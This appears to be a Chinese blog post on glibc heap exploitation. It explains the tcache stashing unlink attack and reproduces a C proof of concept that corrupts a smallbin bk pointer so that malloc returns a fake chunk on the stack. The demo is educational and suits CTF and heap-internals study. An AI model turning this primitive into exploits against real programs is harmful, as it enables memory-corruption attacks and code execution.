Tcache stashing unlink attack

黎 浩然/ 12 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.27

首先我们需要知道的是:即使仅仅是对于smallbin来说,在不同的情境下unlink的检查也是不同的。通常,由malloc直接返回的chunk引起的unlink要进行victim->bk->fd == victim的检查;而直接送入tcachebin的就不需要进行该检查;但是unlink的操作是相同的。 和House of Lore进行的操作十分相似。

对于smallbins:

需要的检查是victim->bk->fd == victim(直接进入tcachebin的情况下不需要该检查) unlink会进行的操作是:victim->bk->fd = bin, bin->bk = vimtim->bk

include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\\n\\n");
    printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\\n\\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\\n\\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\\n\\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\\n\\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\\n\\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

注意这里我们要避免unsortedbin引起堆融合

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n");

    malloc(0x90);
    malloc(0x90);

因为unsortedbin和smallbin都是FIFO的。所以在这里,先进入unsortedbin的堆块会先进入smallbin中。因为victim->bk->fd = bin会引起stack_var[4]变为某个与glibc有关的地址。

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*